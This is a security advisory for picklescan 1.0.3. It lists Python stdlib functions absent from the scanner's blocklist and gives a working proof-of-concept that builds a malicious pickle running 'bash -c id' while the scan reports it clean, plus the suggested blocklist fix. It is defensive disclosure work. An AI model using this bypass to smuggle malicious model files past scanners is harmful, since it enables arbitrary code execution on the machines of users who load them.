GHSA-g38g-8gr9-h9xp CVE-2026-56315 PYSEC-2026-4134
PickleScan has multiple stdlib modules with direct RCE not in blocklist
- Severity
- 9.3 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 1.15%
- Chance of exploitation in the next 30 days. Higher than 66.79% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
1.0.4- Upgrade picklescan to this version or later
Description
Summary
picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.
Severity
Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
Unblocked RCE Modules
| Module | Function | RCE Mechanism | picklescan Result |
|---|---|---|---|
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args) |
CLEAN |
_osx_support |
_read_output(cmdstring) |
os.system() via temp file |
CLEAN |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s |
CLEAN |
_aix_support |
_read_cmd_output(cmdstring) |
os.system() |
CLEAN |
_pyrepl.pager |
pipe_pager(text, cmd) |
subprocess.Popen(cmd, shell=True) |
CLEAN |
_pyrepl.pager |
tempfile_pager(text, cmd) |
os.system(cmd + ...) |
CLEAN |
imaplib |
IMAP4_stream(command) |
subprocess.Popen(command, shell=True) |
CLEAN |
test.support.script_helper |
assert_python_ok(*args) |
Spawns python subprocess |
CLEAN |
All 8 functions are in Python's standard library and importable on all platforms.
Scanner Output
$ picklescan -p uuid_rce.pkl
No issues found.
$ picklescan -p aix_rce.pkl
No issues found.
$ picklescan -p imaplib_rce.pkl
No issues found.
Meanwhile:
$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)
Blocklist Analysis
picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:
uuid— not blocked_osx_support— not blocked_aix_support— not blocked_pyrepl— not blocked_pyrepl.pager— not blocked (parent wildcard doesn't apply since_pyreplisn't blocked)imaplib— not blockedtest— not blockedtest.support— not blockedtest.support.script_helper— not blocked
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# uuid._get_command_stdout — arbitrary command execution
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
+ sbu("bash") + sbu("-c") + sbu("id")
+ b"\x87" + b"R" # TUPLE3 + REDUCE
+ b"." # STOP
)
# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN
# Execute: runs `id` command
pickle.loads(payload)
Tested Against
- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
- picklescan v0.0.21 — same result (modules never blocked in any version)
Impact
Any system using picklescan for pickle safety validation is vulnerable. This includes:
- HuggingFace Hub — uses picklescan server-side to scan uploaded model files
- ML pipelines — any CI/CD or loading pipeline using picklescan
- Model registries — any registry relying on picklescan for safety checks
An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.
Suggested Fix
Add to _unsafe_globals in picklescan:
"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",
Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:
- Switching to an allowlist (default-deny) for permitted globals
- Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)
Resources
- picklescan source:
scanner.pylines 120-219 (_unsafe_globals) - Python source:
Lib/uuid.py,Lib/_osx_support.py,Lib/_aix_support.py,Lib/_pyrepl/pager.py,Lib/imaplib.py
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 1.0.4 |
1.0.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 1.0.4
- pip
pip install --upgrade "picklescan>=1.0.4"- poetry
poetry add "picklescan>=1.0.4"- uv
uv add "picklescan>=1.0.4"
Severity breakdown
CVSS 4.0 9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
| GHSA-955r-x9j8-7rhh Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller | High | Also affects picklescan |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor